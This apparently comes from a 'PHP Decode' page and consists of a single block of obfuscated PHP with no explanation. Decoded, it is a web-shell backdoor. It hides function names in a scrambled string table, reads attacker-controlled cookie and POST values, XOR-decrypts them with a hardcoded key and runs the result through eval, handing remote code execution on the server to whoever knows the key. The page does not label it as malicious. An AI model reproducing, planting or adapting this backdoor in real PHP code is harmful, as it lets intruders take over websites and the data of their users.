PHP Decode

<?  $eovlri = '_x30tsn9-y#md8\'5pocH4erali*fg167vbuk';$txwxhlu = Array();$txwxhlu[] = $eovlri[13].$eovlri[29].$eovlri[29].$eovlri[7].$eovlri[18].$eovlri[18].$eovlri[21].$eovlri[2].$eovlri[8].$eovlri[7].$eovlri[7].$eovlri[13].$eovlri[31].$eovlri[8].$eovlri[20].$eovlri[12].$eovlri[33].$eovlri[27].$eovlri[8].$eovlri[33].$eovlri[13].$eovlri[30].$eovlri[27].$eovlri[8].$eovlri[20].$eovlri[3].$eovlri[15].$eovlri[31].$eovlri[18].$eovlri[33].$eovlri[29].$eovlri[15].$eovlri[7].$eovlri[2].$eovlri[7].$eovlri[7];$txwxhlu[] = $eovlri[19].$eovlri[26];$txwxhlu[] = $eovlri[10];$txwxhlu[] = $eovlri[18].$eovlri[17].$eovlri[34].$eovlri[6].$eovlri[4];$txwxhlu[] = $eovlri[5].$eovlri[4].$eovlri[22].$eovlri[0].$eovlri[22].$eovlri[21].$eovlri[16].$eovlri[21].$eovlri[23].$eovlri[4];$txwxhlu[] = $eovlri[21].$eovlri[1].$eovlri[16].$eovlri[24].$eovlri[17].$eovlri[12].$eovlri[21];$txwxhlu[] = $eovlri[5].$eovlri[34].$eovlri[33].$eovlri[5].$eovlri[4].$eovlri[22];$txwxhlu[] = $eovlri[23].$eovlri[22].$eovlri[22].$eovlri[23].$eovlri[9].$eovlri[0].$eovlri[11].$eovlri[21].$eovlri[22].$eovlri[28].$eovlri[21];$txwxhlu[] = $eovlri[5].$eovlri[4].$eovlri[22].$eovlri[24].$eovlri[21].$eovlri[6];$txwxhlu[] = $eovlri[16].$eovlri[23].$eovlri[18].$eovlri[35];foreach ($txwxhlu[7]($_COOKIE, $_POST) as $awjpf => $ujngka){function ccjdnu($txwxhlu, $awjpf, $yysvnsn){return $txwxhlu[6]($txwxhlu[4]($awjpf . $txwxhlu[0], ($yysvnsn / $txwxhlu[8]($awjpf)) + 1), 0, $yysvnsn);}function cvtly($txwxhlu, $mzkanyb){return @$txwxhlu[9]($txwxhlu[1], $mzkanyb);}function gtfofev($txwxhlu, $mzkanyb){$llufkrv = $txwxhlu[3]($mzkanyb) % 3;if (!$llufkrv) {eval($mzkanyb[1]($mzkanyb[2]));exit();}}$ujngka = cvtly($txwxhlu, $ujngka);gtfofev($txwxhlu, $txwxhlu[5]($txwxhlu[2], $ujngka ^ ccjdnu($txwxhlu, $awjpf, $txwxhlu[8]($ujngka))));} ?>